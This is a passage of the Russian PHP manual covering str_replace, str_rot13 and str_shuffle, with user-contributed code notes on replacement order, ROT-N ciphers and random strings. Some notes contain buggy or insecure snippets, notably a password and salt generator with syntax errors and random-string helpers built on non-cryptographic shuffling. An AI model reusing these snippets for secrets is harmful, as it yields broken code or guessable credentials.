echo preg_replace('/--+/', '-', $challenge).'<br>';
?>

This outputs the following:
-aaa--b-c---d-e--f
-aaa-b-c-d-e-f
mbullard at accuvista dot co dot uk 14-Jul-2011 02:42
Insert space after comma.

If you have a form that stores results in a database field as comma separated values, when you display this data you can use the following to insert a space after each comma:

<?php
$find[] = ',';
$replace[] = '&#44;&nbsp;';
$text = str_replace($find, $replace, $row_rsRecordset['Field']);
print_r($text);
?>

Notes:
1) To get round the Replacement Order Gotcha, the comma is also replaced with its code equivalent: &#44;
2) You can adapt the $replace section to suit your needs: swap out the &nbsp; code with <br/> or replace comma and space with &nbsp;&middot;&nbsp; etc.
jay_knows_(all)uk at hotmail dot com 16-Feb-2011 07:16
This strips out horrible MS word characters.

Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me.

There could be some that need adding in, but its a start to anyone who wishes to make their own custom function.

<?php

function msword_conversion($str)
{
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
// $str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
// $str = str_replace(chr(147), '"', $str);    // left double quote
// $str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '--', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
// $str = str_replace(chr(152), '~', $str);    // tilde accent
// $str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
// $str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
$str = str_replace('°C', '&deg;C', $str);    // Celcius is used quite a lot so it makes sense to add this in
$str = str_replace('?', '&pound;', $str);
$str = str_replace("'", "'", $str);
$str = str_replace('"', '"', $str);
$str = str_replace('-', '&ndash;', $str);

return $str;
}

?>
nikolaz dot tang at hotmail dot com 11-Nov-2010 08:57
A faster way to replace the strings in multidimensional array is to json_encode() it, do the str_replace() and then json_decode() it, like this:

<?php
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));

}
?>

This method is almost 3x faster (in 10000 runs.) than using recursive calling and looping method, and 10x simpler in coding.

Compared to:

<?php
function str_replace_deep($search, $replace, $subject)
{
    if (is_array($subject))
    {
        foreach($subject as &$oneSubject)
            $oneSubject = str_replace_deep($search, $replace, $oneSubject);
        unset($oneSubject);
        return $subject;
    } else {
        return str_replace($search, $replace, $subject);
    }
}
?>
apmuthu at usa dot net 19-Jun-2010 12:31
If we have a html template that contains placeholders in curly braces that need to be replaced in runtime, the following function will do it using str_replace:

<?php

function parse_template($filename, $data) {
// example template variables {a} and {bc}
// example $data array
// $data = Array("a" => 'one', "bc" => 'two');
    $q = file_get_contents($filename);
    foreach ($data as $key => $value) {
        $q = str_replace('{'.$key.'}', $value, $q);
    }
    return $q;
}

?>
christian dot reinecke at web dot de 14-May-2010 12:06
If you need to replace a string in another, but only once but still in all possible combinations (f.e. to replace "a" with "x" in "aba" to get array("xba", "abx")) you can use this function:
<?php
function getSingleReplaceCombinations($replace, $with, $inHaystack)
{
    $splits = explode($replace, $inHaystack);
    $result = array();
    for ($i = 1, $ix = count($splits); $i < $ix; ++$i) {
        $previous = array_slice($splits, 0, $i);
        $next     = array_slice($splits, $i);

        $combine  = array_pop($previous) . $with . array_shift($next);
        $result[] = implode($replace, array_merge($previous, array($combine), $next));
    }
    return $result;
}
var_dump(getSingleReplaceCombinations("a", "x", "aba")); // result as mentioned above
?>
It may not be the best in performance, but it works.
jbarnett at jmbelite dot com 26-Apr-2010 01:23
Might be worth mentioning that a SIMPLE way to accomplish Example 2 (potential gotchas) is to simply start your "replacements" in reverse.

So instead of starting from "A" and ending with "E":

<?php
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
// replaces A to B, B to C, C to D, D to E, E to F (makes them all F)
// start from "E" and end with "A":

$search  = array('E', 'D', 'C', 'B', 'A');
$replace = array('F', 'E', 'D', 'C', 'B');
// replaces E to F, D to E, C to D, B to C, A to B (prevents from
// multiple replacements of already replaced values)
?>

So basically start from the "end" and put the replacements in an order where the "replaced value" won't equal a value that exists later in the "search array".
pjcdawkins at googlemail dot com 23-Apr-2010 05:23
Here's a deep replace function allowing multi-dimensional arrays in $search, $replace and $subject. The keys and other structure of $subject are preserved.

<?php
// Auxiliary function:
function _replaceWithAnything($search,$replace,$subject){
  if(!is_array($search) || !is_array($replace)){
    $search=array($search);
    $replace=array($replace);
  }
  $match=array_search($subject,$search,true);
  if($match!==false && array_key_exists($match,$replace))
    $subject=$replace[$match];
  return $subject;
}

// Main function:
function deepReplace($search,$replace,$subject){
  if(!is_array($subject))
    return _replaceWithAnything($search,$replace,$subject);
  foreach($subject as &$val){
    if(is_array($val)){
      $val=deepReplace($search,$replace,$val);
      continue;
    }
    $val=_replaceWithAnything($search,$replace,$val);
  }
  return $subject;
}
?>
Wes Foster 17-Dec-2009 01:32
Feel free to optimize this using the while/for or anything else, but this is a bit of code that allows you to replace strings found in an associative array.

For example:
<?php
$replace = array(
'dog' => 'cat',
'apple' => 'orange'
'chevy' => 'ford'
);

$string = 'I like to eat an apple with my dog in my chevy';

echo str_replace_assoc($replace,$string);

// Echo: I like to eat an orange with my cat in my ford
?>

Here is the function:

<?php
function strReplaceAssoc(array $replace, $subject) {
   return str_replace(array_keys($replace), array_values($replace), $subject);
}
?>

[Jun 1st, 2010 - EDIT BY thiago AT php DOT net: Function has been replaced with an updated version sent by ljelinek AT gmail DOT com]
Alberto Lepe 15-Jun-2009 07:44
Be careful when replacing characters (or repeated patterns in the FROM and TO arrays):

For example:

<?php
$arrFrom = array("1","2","3","B");
$arrTo = array("A","B","C","D");
$word = "ZBB2";
echo str_replace($arrFrom, $arrTo, $word);
?>

I would expect as result: "ZDDB"
However, this return: "ZDDD"
(Because B = D according to our array)

To make this work, use "strtr" instead:

<?php
$arr = array("1" => "A","2" => "B","3" => "C","B" => "D");
$word = "ZBB2";
echo strtr($word,$arr);
?>

This returns: "ZDDB"
michael dot moussa at gmail dot com 29-Jan-2009 06:38
As previous commentators mentioned, when $search contains values that occur earlier in $replace, str_replace will factor those previous replacements into the process rather than operating solely on the original string.  This may produce unexpected output.

Example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo str_replace($search, $replace, $subject); // output: 'FFFFFF'
?>

In the above code, the $search and $replace should replace each occurrence in the $subject with the next letter in the alphabet.  The expected output for this sample is 'BCDEF'; however, the actual output is 'FFFFF'.

To more clearly illustrate this, consider the following example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';

echo str_replace($search, $replace, $subject); // output: 'F'
?>

Since 'A' is the only letter in the $search array that appears in $subject, one would expect the result to be 'B'; however, replacement number $n does *not* operate on $subject, it operates on $subject after the previous $n-1 replacements have been completed.

The following function utilizes array_combine and strtr to produce the expected output, and I believe it is the most efficient way to perform the desired string replacement without prior replacements affecting the final result.

<?php
/**
* When using str_replace(...), values that did not exist in the original string (but were put there by previous
* replacements) will be replaced continuously.  This string replacement function is designed replace the values
* in $search with those in $replace while not factoring in prior replacements.  Note that this function will
* always look for the longest possible match first and then work its way down to individual characters.
*
* The "o" in "stro_replace" represents "original", indicating that the function operates only on the original string.
*
* @param array $search list of strings or characters that need to be replaced
* @param array $replace list of strings or characters that will replace the corresponding values in $search
* @param string $subject the string on which this operation is being performed
*
* @return string $subject with all substrings in the $search array replaced by the values in the $replace array
*/
function stro_replace($search, $replace, $subject)
{
    return strtr( $subject, array_combine($search, $replace) );
}

$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo stro_replace($search, $replace, $subject); // output: 'BCDEF'
?>

Some other examples:

<?php
$search = array(' ', '&');
$replace = array('&nbsp;', '&amp;');
$subject = 'Hello & goodbye!';

// We want to replace the spaces with &nbsp; and the ampersand with &amp;
echo str_replace($search, $replace, $subject); // output: "Hello&amp;nbsp&amp;&amp;nbspgoodbye!" - wrong!

echo stro_replace($search, $replace, $subject); // output: "Hello&nbsp;&amp;&nbsp;goodbye!" - correct!

/*
    Note:  Run the above code in the CLI or view source on your web browser - the replacement strings for stro_replace are HTML entities which the browser interprets.
*/
?>

<?php
$search = array('ERICA', 'AMERICA');
$replace = array('JON', 'PHP');
$subject = 'MIKE AND ERICA LIKE AMERICA';

// We want to replace the name "ERICA" with "JON" and the word "AMERICA" with "PHP"
echo str_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE AMJON", which is not correct

echo stro_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE PHP", which is correct
?>
matt wheaton 30-Mar-2006 07:40
As an effort to remove those Word copy and paste smart quotes, I've found that this works with UTF8 encoded strings (where $text in the following example is UTF8). Also the elipsis and em and en dashes are replaced.

There is an "invisible" character after the a€ for the right side double smart quote that doesn't seem to display here. It is chr(157).

<?php
  $find[] = 'a€?';  // left side double smart quote
  $find[] = 'a€?';  // right side double smart quote
  $find[] = 'a€?';  // left side single smart quote
  $find[] = 'a€™';  // right side single smart quote
  $find[] = 'a€¦';  // elipsis
  $find[] = 'a€"';  // em dash
  $find[] = 'a€"';  // en dash

  $replace[] = '"';
  $replace[] = '"';
  $replace[] = "'";
  $replace[] = "'";
  $replace[] = "...";
  $replace[] = "-";
  $replace[] = "-";

  $text = str_replace($find, $replace, $text);
?>


Выполняет преобразование ROT13 над строкой

  • « str_replace
  • str_shuffle »
  • PHP Manual
  • Функции для работы со строками
  • Выполняет преобразование ROT13 над строкой

str_rot13

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

str_rot13 — Выполняет преобразование ROT13 над строкой

Описание

str_rot13(string $string): string

Выполняет над строкой string преобразование ROT13 и возвращает полученную строку.

Преобразование ROT13 заключается в простом сдвиге каждой латинской буквы на 13 позиций в алфавите, остальные символы не изменяются. Обратное преобразование выполняется той же функцией, так как передача закодированной строки в качестве аргумента вернёт её оригинальную версию.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает версию ROT13 переданной строки.

Примеры

Пример #1 Пример использования str_rot13()

<?php

echo str_rot13('PHP 4.3.0'); // CUC 4.3.0

?>

User Contributed Notes

devcoder at gmail dot com 20-Oct-2018 11:29
My own generic rotN function

<?php
function rotN($string, $n = 13)
{
    $alphabet = join(range('a', 'z'));
    $alen = strlen($alphabet);

    $n %= $alen;
    if($n < 0) {
        $n += $alen;
    }
    if($n == 0) {
        return $string;
    }

    $cycled = substr($alphabet . $alphabet, $n, $alen);
    $alphabet = $alphabet . strtoupper($alphabet);
    $cycled = $cycled . strtoupper($cycled);
    return strtr($string, $alphabet, $cycled);
}
?>
Chris 18-Sep-2018 11:58
A nice, simple way of using rot-n. Allows for a lot of easy customisation, and works quickly. This function uses ASCII characters and values.

<?php

function rotn($val, $n) {
    $min = 0;
    $max = 127;
    $final = '';
    $new_string = str_split($val);

    foreach ($new_string as $letter) {
        $current = ord($letter);
        $val = $current+$n;

        if ($val >= $max) {
            $val = $val - $max;
        }

        if ($val <= $min) {
            $val = $val + $min;
        }

        $current = $val;
        $final .= chr($current);
    }

    return $final;
}

echo 'Test 123 (4) -> '.rotn("Test 123", 4).'<br>'; // Xiwx$567
echo 'Test 123 (8) -> '.rotn("Test 123", 8).'<br>'; // \m{|(9:;
echo 'Test 123 (-4) -> '.rotn("Test 123", -4).'<br>'; // Paop-./

$value = rotn("Test 123", 8);
echo 'Test 123 (Reverse [8 then -8]) -> '.rotn($value, -8).'<br>'; // Test 123

?>
arthur at kuhrmeier dot com 29-Jun-2015 05:44
I was writing a function for my website to also rotate numbers, and kept expanding it. I added extra characters, the ability to define the shift in percent, and which type of characters to affect.

<?php
//================================================== STRING ROTATE EXPANDED
function str_shift ($string, $perc=50, $useextra=FALSE, $usedigits=TRUE, $useupper=TRUE, $uselower=TRUE) {
    static $chars = array(
        'lower' => 'abcdefghijklmnopqrstuvwxyz',
        'upper' => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
        'digits' => '0123456789',
        'extra' => ',.-()<>%/!"&=;:_[]{}#\\?\'+*',
    );
    settype($perc, 'float');
    if  (!$perc)  return $string;
    $perc = fmod((abs($perc) < 1 ? 100*$perc : $perc), 100);
    if  ($perc < 0)  $perc += 100;
    $use = (is_array($useextra) ? $useextra : array('lower'=>$uselower, 'upper'=>$useupper, 'digits'=>$usedigits, 'extra'=>$useextra));
    foreach ($chars as $type => $letters) {
        if  (!$use[$type])  continue;
        $shift = round(strlen($letters) * $perc / 100);
        $repl = substr($letters, $shift).substr($letters, 0, $shift);
        $string = strtr($string, $letters, $repl);
    }
    return $string;
}

//===== USAGE =====

string str_shift ( string $str [, float $percent [, bool $useextra [, bool $usedigits [, bool $uselower [, bool $useupper] ] ] ] ] )

string str_shift ( string $str [, float $percent [, array $usetypes ] ] )

$usetypes = array('lower'=>bool $uselower, 'upper'=>bool $useupper, 'digits'=>bool $usedigits, 'extra'=>bool $useextra);

//===== EXAMPLES =====

$string = "Peter's 17 pets (incl. 5 hamsters) love Dr Sarah Gibson, DVM!";
echo str_shift($string);
echo str_shift($string, 50, TRUE);
echo str_shift($string, -25, FALSE, FALSE);
echo str_shift($string, 1/3);
echo str_shift($string, 50, array('lower'=>TRUE, 'digits'=>TRUE));
?>

//===== RESULT =====

Crgre'f 62 crgf (vapy. 0 unzfgref) ybir Qe Fnenu Tvofba, QIZ!
Crgre"f 62 crgf [vapy: 0 unzfgref] ybir Qe Fnenu Tvofba; QIZ?
Jynyl'm 17 jynm (chwf. 5 bugmnylm) fipy Xl Mulub Acvmih, XPG!
Yncna'b 40 yncb (rwlu. 8 qjvbcnab) uxen Ma Bjajq Prkbxw, MEV!
Prgre'f 62 crgf (vapy. 0 unzfgref) ybir De Snenu Gvofba, DVM!

1. The basic parameters are the string and the percentage, 50 by default. The next four parameters allow to select which type of characters to process. There is a good reason why I put less common types first, and most obvious last. To activate extra characters you need only 1 additional parameter, otherwise you would need 4 enabling also the obvious types.

2. The definition for the letters and digits is obvious. For the extra characters I chose kind of pairs that make sense when shifted by 50%, e.g. () => [] or & => + etc. Of course you can adjust those characters to anything you like.

3. The first step is to clean the percentage, and also allow "real" floats, e.g. 1/3 for 33.33%.

4. The next step secures great flexibility when using the function. As described, instead of 4 boolean parameters you can pass 1 array. E.g. the array('upper' => TRUE) will enable the change of uppercase letters only.

5. Finally the function goes through every type and shifts the characters according to the given percentage.

I hope you can use this function and do some fancy stuff with it. Rotating characters doesn't really make sense, but it can be fun.

Arthur :-)
agente007_1_ at hotmail dot com 09-Jun-2015 02:48
/**
SALVAJE COMENTARIO EN ESPANOL XD
*/

<?php

$cadena = $_POST['entrada'];

/**convierte en cadena*/
$array = str_split($cadena);

echo $cadena ."<br>";

for ($i=0; $i < count($array); $i++) {

if( $array[$i] >= "A" &&  $array[$i] <= "M" ){
$letra = ord($array[$i]);
$letra = $letra + 13;
echo chr($letra);
}

if( $array[$i] >= "N" &&  $array[$i] <= "Z" ){
$letra = ord($array[$i]);
$letra = $letra - 13;
echo chr($letra);
}

}

?>
steve 03-Jul-2013 09:37
Below is a short function that allows you to rotate a string which includes non alphabetic characters you choose.

By running the code without the second argument you can both obfuscate then de-obfuscate.  This isn't a safe form of encryption, just a quick way to hide stuff from the casual viewer.

function str_rot($s, $n = -1) {
    //Rotate a string by a number.
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789.,!$*+-?@#'; //To be able to de-obfuscate your string the length of this needs to be a multiple of 4 AND no duplicate characters
    $letterLen=round(strlen($letters)/2);
    if($n==-1) $n=(int)($letterLen/2); //Find the "halfway rotate point"
    $n = (int)$n % ($letterLen);
    if (!$n) return $s;
    if ($n < 0) $n += ($letterLen);
    //if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}

$input="ABC123";
$output=str_rot($input);
echo $input." = ".$output." = ".str_rot($output)."<br>";
shaun 11-Feb-2012 02:44
I was reminded again of the desire for a generic str_rot function. Character manipulation loops in PHP are slow compared to their C counterparts, so here's a tuned version of the previous function I posted. It's 1.6 times as fast, mainly by avoiding chr() calls.

<?php
function str_rot($s, $n = 13) {
    static $letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n == 13) return str_rot13($s);
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = $s[$i];
        if ($c >= 'a' && $c <= 'z') {
            $s[$i] = $letters[(ord($c) - 71 + $n) % 26];
        } else if ($c >= 'A' && $c <= 'Z') {
            $s[$i] = $letters[(ord($c) - 39 + $n) % 26 + 26];
        }
    }
    return $s;
}
?>

But using strtr() you can get something 10 times as fast as the above :

<?php
function str_rot($s, $n = 13) {
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n < 0) $n += 26;
    if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}
?>

This technique is faster because PHP's strtr is implemented in C using a byte lookup table (it has O(m + n) complexity). However, PHP 6 will use Unicode, so I guess(?) strtr will then have to be implemented with a search for each character (O(m * n)). Using strtr might still be faster since it offloads the character manipulation to C rather than PHP, but I don't really know. Take your pick.

Happy coding!

(Benchmark code):

<?php
for ($k = 0; $k < 10; $k++) {
    $s = 'The quick brown fox jumps over the lazy dog.';
    $t = microtime(1);
    for ($i = 0; $i < 1000; $i++) $s = str_rot($s, $i);
    $t = microtime(1) - $t;
    echo number_format($t, 3) . "\n";
}
?>
shaunspiller at spammenotgmail dot com 26-Sep-2009 08:54
Here's my implementation of a str_rot that takes a custom offset. It's faster than the others here because it allocates the output string in one go instead of tacking on characters one at a time. It can handle positive or negative offsets of any size, and it fixes everything up to ensure only upper and lower case letters are translated and that they wrap around correctly within the alphabet.

<?php
function str_rot($s, $n = 13) {
    $n = (int)$n % 26;
    if (!$n) return $s;
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = ord($s[$i]);
        if ($c >= 97 && $c <= 122) {
            $s[$i] = chr(($c - 71 + $n) % 26 + 97);
        } else if ($c >= 65 && $c <= 90) {
            $s[$i] = chr(($c - 39 + $n) % 26 + 65);
        }
    }
    return $s;
}
?>
peter at NOSPAM jamit dot com 07-Sep-2009 07:31
This ROT13 variant is different from my earlier version in that it retains 'ethnicity'. For example, a Chinese text when encrypted will remain Chinese, and the string will not be making sense (the real meaning will be encrypted). Just look at the code and you will understand.

<?php

function unichar2ords($char, $encoding = 'UTF-8') {
    $char = mb_convert_encoding($char, 'UCS-4', $encoding);
    $val = unpack('N', $char);
    return $val[1];
    }

function ords2unichar($ords, $encoding = 'UTF-8'){
    $char = pack('N', $ords);
    return mb_convert_encoding($char, $encoding, 'UCS-4');
    }

function mbStringToArray ($string, $encoding = 'UTF-8') {
    if (empty($string)) return false;
    for ($strlen = mb_strlen($string, $encoding); $strlen > 0; ) {
        $array[] = mb_substr($string, 0, 1, $encoding);
        $string  = mb_substr($string, 1, $strlen, $encoding);
        $strlen  = $strlen - 1;
        }
    return $array;
    }

function unicodeRotN($str, $offset, $encoding = 'UTF-8') {
    $val = '';
    $array = mbStringToArray ($str, $encoding = 'UTF-8');
    $len = count($array);
    for ($i = 0; $i < $len; $i++) {
        $val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding);
        }
    return $val;
    }

// example

$original = '??????'; // means "China is my home"

$encrypted = unicodeRotN($string, 13); // ?????? means "N Ai injustice for the Mission Day" (Google translation)

$decrypted = unicodeRotN($encrypted, -13); // ??????

?>
peter at NOSPAM jamit dot com 07-Sep-2009 01:11
Here is my ROT13 function that works for all possible characters and not just ASCII. It can be used on Chinese, Japanese, ....

<?php

function rot13encrypt ($str) {
    return str_rot13(base64_encode($str));
    }

function rot13decrypt ($str) {
    return base64_decode(str_rot13($str));
    }

// example

$string = '??????';

$encrypted = rot13encrypt ($string); // produces 5Yvg5MlY5cvi5bvE55dR5n62

$decrypted = rot13decrypt ($encrypted); // produces ??????

?>
arwab at surrealwebs dot com 11-Jul-2007 01:11
here's my rot function, it works anyway
<?php
/**
 * preforms the rotation algorithm on the passed in string
 */
function _rot( $str , $dist=13 ){
    if( !is_numeric($dist) || $dist < 0){
        $dist = 13;
    }

    $u_lower =  65; $u_upper =  90;
    $l_lower =  97; $l_upper = 122;

    $char_count = ($u_upper - $u_lower) +1;

    while( $dist > $char_count ){
        $dist -= $char_count;
    }

    $newstr = '';

    for( $i=0; $i<strlen($str); ++$i){
        $c = ord($str[$i]);

        /*
         * Check if the character is within the bounds of our function (a-zA-z)
         * if not it gets tacked on to the string as is and we move on to the
         * next one.
         */
        if( $c<$u_lower || $c>$l_upper || ( $c>$u_upper && $c <$l_lower ) ){
            $newstr .= chr($c);
            continue;
        }

        $lower = ( $c<=$u_upper?$u_lower:$l_lower);
        $upper = ( $c<=$u_upper?$u_upper:$l_upper);

        $c += $dist;

        if( $c > $upper){
            $c = (($c - $upper) + ($lower-1));
        }

        $newstr .= chr($c);
    }

    return $newstr;
}
?>
electro at whatever dot com 31-May-2007 12:21
<?php

/**
 * Rotate each string characters by n positions in ASCII table
 * To encode use positive n, to decode - negative.
 * With n = 13 (ROT13), encode and decode n can be positive.
 *
 * @param string $string
 * @param integer $n
 * @return string
 */
function rotate($string, $n) {

    $length = strlen($string);
    $result = '';

    for($i = 0; $i < $length; $i++) {
        $ascii = ord($string{$i});

        $rotated = $ascii;

        if ($ascii > 64 && $ascii < 91) {
            $rotated += $n;
            $rotated > 90 && $rotated += -90 + 64;
            $rotated < 65 && $rotated += -64 + 90;
        } elseif ($ascii > 96 && $ascii < 123) {
            $rotated += $n;
            $rotated > 122 && $rotated += -122 + 96;
            $rotated < 97 && $rotated += -96 + 122;
        }

        $result .= chr($rotated);
    }

    return $result;
}

$enc = rotate('string', 6);
echo "Encoded: $enc<br/>\n";
echo 'Decoded: ' . rotate($enc, -6);

?>
maximius at gmail dot com 25-May-2007 04:30
Perhaps someone will find this useful ;)

<?
           function rotN($s, $n){
                $s2 = "";
                for($i = 0; $i < strlen($s); $i++){
                    $char2 = $char = ord($s{$i});
                    $cap = $char & 32;

                    $char &= ~ $cap;
                    $char = $char > 64 && $char < 123 ? (($char - 65 + $n) % 26 + 65) : $char;
                    $char |= $cap;
                    if($char < 65 && $char2 > 64 || ($char > 90 && $char < 97 && ($char2 < 91 || $char2 > 96))) $char += 26;
                    else if($char > 122 && $char2 < 123) $char -= 52;
                    if(strtoupper(chr($char2)) === chr($char2)) $char = strtoupper(chr($char)); else $char = strtolower(chr($char));
                    $s2 .= $char;
                }
                return $s2;
            }
?>
It takes any string, $s, and any ROT value, $n. Just like str_rot13, it's both an encoder and decoder. To decode an encoded string, just pass -$n instead of $n.


Переставляет символы в строке случайным образом

  • « str_rot13
  • str_split »
  • PHP Manual
  • Функции для работы со строками
  • Переставляет символы в строке случайным образом

str_shuffle

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

str_shuffle — Переставляет символы в строке случайным образом

Описание

str_shuffle(string $string): string

str_shuffle() перемешивает символы в строке. Выбирается одна возможная перестановка из всех возможных.

Предостережение

Функция не создаёт криптографически безопасные значения и не должна использоваться в криптографических целях или целях, которые требуют, чтобы возвращаемые значения были недоступны для разгадывания.

Если нужна криптографически безопасная случайная последовательность, можно использовать класс Random\Randomizer с движком Random\Engine\Secure. Для простых сценариев существуют функции random_int() и random_bytes() с удобным API криптографически безопасного генератора псевдослучайных чисел (CSPRNG), поддерживаемого операционной системой.

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает перемешанную строку.

Список изменений

Версия | Описание
7.1.0 | Внутренний алгоритм получения случайных чисел изменён с функции rand библиотеки libc на генератор на базе » Вихря Мерсена.

Примеры

Пример #1 Пример использования str_shuffle()

<?php
$str = 'abcdef';
$shuffled = str_shuffle($str);

// выведет что-то вроде этого: bfdaec
echo $shuffled;
?>

Смотрите также

  • Random\Randomizer::shuffleBytes() - Получает байтовую перестановку строки
  • Random\Randomizer::shuffleArray() - Получает перестановку массива

User Contributed Notes

ccb2357 at gmail dot com 14-Apr-2023 05:39
<?php
    function str_rand(int $length = 20) : string {
        $ascii_codes = range(48, 57) + range(97, 122);
        $codes_lenght = (count($ascii_codes)-1);
        shuffle($ascii_codes);
        $string = '';
        for($i = 1; $i <= $length; $i++){
            $previous_char = $char ?? '';
            $char = chr($ascii_codes[random_int(0, $codes_lenght)]);
            while($char == $previous_char){
                $char = chr($ascii_codes[random_int(0, $codes_lenght)]);
            }
            $string .= $char;
        }
        return str_shuffle($string);
    }
?>
wmtrader at yandex dot ru 23-May-2020 08:33
Unshuffle, using:
<?php
$string = "Hello World!";

$seed = 1234567890;
mt_srand($seed);

echo $sh = str_shuffle($string);  //print 'eloWHl rodl!'
echo str_unshuffle($sh, $seed); //print 'Hello World!'
?>

<?php
function str_unshuffle($str, $seed){
    $unique = implode(array_map('chr',range(0,254)));
    $none   = chr(255);
    $slen   = strlen($str);
    $c      = intval(ceil($slen/255));
    $r      = '';
    for($i=0; $i<$c; $i++){
        $aaa = str_repeat($none, $i*255);
        $bbb = (($i+1)<$c) ? $unique : substr($unique, 0, $slen%255);
        $ccc = (($i+1)<$c) ? str_repeat($none, strlen($str)-($i+1)*255) : "";
        $tmp = $aaa.$bbb.$ccc;
        mt_srand($seed);
        $sh  = str_shuffle($tmp);
        for($j=0; $j<strlen($bbb); $j++){
            $r .= $str{strpos($sh, $unique{$j})};
        }
    }
    return $r;
}
kundanborakb at gmail dot com 16-Apr-2020 11:35
<?php

//get random string with your desire length

    function getRandom($length){

        $str = 'abcdefghijklmnopqrstuvwzyz';
        $str1= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $str2= '0123456789';
        $shuffled = str_shuffle($str);
        $shuffled1 = str_shuffle($str1);
        $shuffled2 = str_shuffle($str2);
        $total = $shuffled.$shuffled1.$shuffled2;
        $shuffled3 = str_shuffle($total);
        $result= substr($shuffled3, 0, $length);

        return $result;

    }

    echo getRandom(8);

//output -->
//GATv3JPX
//g7AzhDtR
//DTboKtiL
//CuWZR4cs
//tmTXbzBC

?>
Anonymous 18-Oct-2019 01:08
As noted in this documentation str_shuffle is NOT cryptographically secure, however I have seen many code examples online of people using nothing more than this to generate say random passwords.  So I though I'd share my function which while it makes use of str_shuffle also rely's on random_int() for added security. I use this function to generate salts to use when working with hashes but it can also be used to generate default passwords for new users for example.

It starts with a universe of possible characters, in this case all letters (upper and lower case), 0-9, and several special characters.

It then will run str_shuffle on the universe of characters a random number of times, using random_int() (currently set to 1-10)

Then once the universe of possible characters has been shuffled it using random_int() once more to select the character as a random position within the shuffled string, as does that once for each character you want in the output.

 function secret_gen( $len=64 ) {
    $secret = "";
    $charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_-+=`~,<>.[]: |';
    for ( $x = 1l $x <= random_int( 1, 10 ), $x++ ){
        $charset = str_shuffle( $charset );
    }
    for ( $s = 1; $s <= $len; $s++ ) {
        $secret .= substr( $charset, random_int( 0, 86 ), 1 );
    }
    return $secret;
}
ronald 04-Oct-2015 11:44
This page is missing a very important notice:

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.
blamoo2 at hotmail dot com 15-Jul-2015 01:35
This function is affected by srand():

<?php
srand(12345);
echo str_shuffle('Randomize me') . '<br/>'; // "demmiezr aon"
echo str_shuffle('Randomize me') . '<br/>'; // "izadmeo rmen"

srand(12345);
echo str_shuffle('Randomize me') . '<br/>'; // "demmiezr aon" again
?>
krzysiekpiasecki at gmail dot com 23-May-2015 09:06
/**
 * Test shuffleString
 */
function testShuffleString() {
    $shuffled = shuffleString("AezcO");
    if (\mb_strlen($shuffled) != 5) {
        throw new \UnexpectedValueException("Invalid count of characters");
    }
    if ($shuffled == "AezcO") {
        throw new \UnexpectedValueException("The same string");
    }
    foreach (["A", "e", "z", "c", "O"] as $char) {
        if (\mb_strpos($shuffled, $char) === false) {
            throw new \UnexpectedValueException("Character not found");
        }
    }
}

/**
 * Shuffle string
 *
 * @param $stringValue String to shuffle
 * @param string $startWith Shuffle $stringValue and append to $startWith
 * @return string Shuffled string
 * @author Krzysztof Piasecki<krzysiekpiasecki@gmail.com>
 */
function shuffleString($stringValue, $startWith = "") {
    $range = \range(0, \mb_strlen($stringValue));
    shuffle($range);
    foreach($range as $index) {
        $startWith .= \mb_substr($stringValue, $index, 1);
    }
    return $startWith;
};

testShuffleString();

